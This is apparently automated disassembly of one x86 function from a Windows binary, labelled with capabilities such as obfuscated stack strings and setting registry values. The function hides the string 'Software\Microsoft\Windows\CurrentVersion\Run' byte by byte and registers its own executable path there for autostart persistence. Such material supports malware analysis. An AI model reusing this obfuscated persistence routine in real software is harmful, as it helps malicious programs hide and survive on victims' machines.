Function at 0x404d90
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x5e0d90
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x658aa8]
xor eax, esp
mov dword [esp + 0x5c], eax
push ebx
push esi
mov eax, dword [0x658aa8]
xor eax, esp
push eax
lea eax, [esp + 0x6c]
mov dword fs:[0], eax
mov cl, 0x66
mov bl, 0x6f
mov al, 0x72
mov dl, 0x73
mov byte [esp + 0x3a], cl
mov byte [esp + 0x48], cl
mov cl, 0x6e
mov byte [esp + 0x38], 0x53
mov byte [esp + 0x39], bl
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3c], 0x77
mov byte [esp + 0x3d], 0x61
mov byte [esp + 0x3e], al
mov byte [esp + 0x3f], 0x65
mov byte [esp + 0x40], 0x5c
mov byte [esp + 0x41], 0x4d
mov byte [esp + 0x42], 0x69
mov byte [esp + 0x43], 0x63
mov byte [esp + 0x44], al
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], dl
mov byte [esp + 0x47], bl
mov byte [esp + 0x49], 0x74
mov byte [esp + 0x4a], 0x5c
mov byte [esp + 0x4b], 0x57
mov byte [esp + 0x4c], 0x69
mov byte [esp + 0x4d], cl
mov byte [esp + 0x4e], 0x64
mov byte [esp + 0x4f], bl
mov byte [esp + 0x50], 0x77
mov byte [esp + 0x51], dl
mov byte [esp + 0x52], 0x5c
mov byte [esp + 0x53], 0x43
mov byte [esp + 0x54], 0x75
mov byte [esp + 0x55], al
mov byte [esp + 0x56], al
mov byte [esp + 0x57], 0x65
mov byte [esp + 0x58], cl
mov byte [esp + 0x59], 0x74
mov byte [esp + 0x5a], 0x56
mov byte [esp + 0x5b], 0x65
mov byte [esp + 0x5c], al
mov byte [esp + 0x5d], dl
mov byte [esp + 0x5e], 0x69
mov byte [esp + 0x5f], bl
mov byte [esp + 0x60], cl
mov byte [esp + 0x61], 0x5c
mov byte [esp + 0x62], 0x52
mov byte [esp + 0x63], 0x75
mov byte [esp + 0x64], cl
mov byte [esp + 0x65], 0
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x61
mov byte [esp + 0x2f], 0x64
mov byte [esp + 0x30], 0x70
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x32], 0x2e
mov byte [esp + 0x33], 0x65
mov byte [esp + 0x34], 0x78
mov byte [esp + 0x35], 0x65
mov byte [esp + 0x36], 0
mov dword [esp + 0x10], 0
call fcn.00490074
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x404ef5
push 0x80004005
call fcn.00403f70
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0xc], esi
mov dword [esp + 0x74], 0
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, 0x105
or eax, ecx
jge 0x404f33
push 0x105
lea ecx, [esp + 0x10]
call fcn.00403fe0
mov esi, dword [esp + 0xc]
cmp dword [esi - 8], 0x105
jge 0x404f46
push 0x80070057
call fcn.00403f70
push 0x104
push esi
mov dword [esi - 0xc], 0x105
push 0
mov byte [esi + 0x105], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.0049a720
add esp, 8
test eax, eax
jl 0x404f3c
cmp eax, dword [esi - 8]
jg 0x404f3c
push 0x5c
mov dword [esi - 0xc], eax
push esi
mov byte [eax + esi], 0
call fcn.0049ac16
add esp, 8
test eax, eax
jne 0x404f93
or eax, 0xffffffff
jmp 0x404f95
sub eax, esi
push eax
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x14]
call fcn.00412a90
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x78], 1
call fcn.00413ab0
mov byte [esp + 0x74], 0
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x404fd8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x6350f8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.00403c80
lea ecx, [esp + 0x38]
push ecx
push eax
lea edx, [esp + 0x2c]
push edx
mov byte [esp + 0x8c], 2
call fcn.00403c80
add esp, 0x18
mov byte [esp + 0x74], 4
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40502c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x3c]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x24], 0x77
mov byte [esp + 0x25], 0x65
mov byte [esp + 0x26], 0x62
mov byte [esp + 0x27], 0x75
mov byte [esp + 0x28], 0x68
mov byte [esp + 0x29], 0x61
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x7a
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2d], 0
call fcn.00413e80
mov eax, dword [esp + 0x18]
mov ecx, dword [eax - 0xc]
mov edx, dword [esp + 0x1c]
add ecx, ecx
push ecx
push eax
mov eax, dword [esp + 0x18]
push 1
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4050b0
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x1c]
test esi, esi
sete bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4050d5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x74], 0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4050fa
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x74], 0xffffffff
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405122
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov al, bl
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.00499a1c
add esp, 0x6c
ret